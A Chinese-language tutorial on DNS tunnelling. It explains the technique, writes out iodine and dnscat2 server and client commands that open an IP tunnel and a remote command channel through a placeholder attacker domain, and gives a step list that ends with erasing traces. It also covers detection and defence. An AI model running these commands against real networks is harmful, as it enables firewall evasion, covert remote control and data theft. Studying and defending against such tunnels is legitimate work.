写在前面:合法学习边界
DNS 隧道只在授权内网靶场使用。对非授权网络建立 DNS 通道、外带数据可能触犯法律。
一、漏洞原理
DNS 查询基本不会被防火墙拦(解析域名必须放行)。DNS 隧道把数据编码进 DNS 查询的域名和响应记录,借 DNS 协议传任意数据。
1
| 数据 → 编码进子域名查询 / TXT 记录 → DNS 服务器转发 → 攻击者服务器接收
|
常用工具:
1
2
3
| iodine:把 DNS 变成 IP 隧道(需要控制一个域名)
dnscat2:在 DNS 上跑命令通道
dns2tcp:类似
|
二、影响与危害
1
2
3
| 在只放行 DNS 出站的环境建立通道
绕过防火墙、外带数据
稳定的远程控制通道
|
风险等级:高。
三、利用 / 复现
前置条件
1
2
| 需要自己控制一个域名(如 tunnel.example.com)
把该域名的 NS 记录指向攻击机
|
iodine:IP over DNS
1
2
3
4
5
| # 攻击机(服务端,公网 IP)
iodined -f 10.0.0.1 tunnel.example.com
# 目标机(客户端)
iodine -f 10.0.0.1 tunnel.example.com
|
隧道建立后,10.0.0.0/24 内网直接可达,可 ssh/scp 等。
dnscat2:命令通道
1
2
3
4
5
| # 攻击机(服务端)
ruby dnscat2.rb tunnel.example.com
# 目标机(客户端)
./dnscat2-v0.07-client tunnel.example.com
|
服务端可 session -i 1 进入会话,执行命令:
四、检测
1
2
3
4
5
| 域名查询异常:子域名很长、随机串、高熵
大量 TXT 记录请求(iodine 用 TXT 传数据)
单个域名高频 DNS 查询、请求来源异常
DNS 查询大小远大于正常(超 512 字节)
域名从未见过、TTL 异常
|
五、防御
1
2
3
4
5
| 限制 DNS 出站到可信递归服务器
监控并限制单个来源的 DNS 查询量
对高熵域名、超长域名告警
禁止非权威解析器的 TXT 大量查询
关键网络按需关闭 DNS 出站
|
六、加固(修复)
1
2
3
4
| 发现隧道:封禁异常域名与来源 IP
清理目标机隧道进程
收紧 DNS 策略并补监控
对失陷主机取证
|
完整操作步骤
1
2
3
4
5
| 第 1 步:准备自己控制的域名,NS 指向攻击机
第 2 步:服务端启动 iodined / dnscat2 服务端
第 3 步:目标机运行客户端,确认隧道建立
第 4 步:通过隧道访问内网/传输数据
第 5 步:使用完清理痕迹
|
七、小结
DNS 隧道是“防火墙最不敢拦的协议”被滥用:解析总是要放行。红队用它做隐蔽通道,蓝队要盯异常查询特征——长域名、高熵、高频、TXT 大量传输。它是内网渗透和数据外带的经典手段。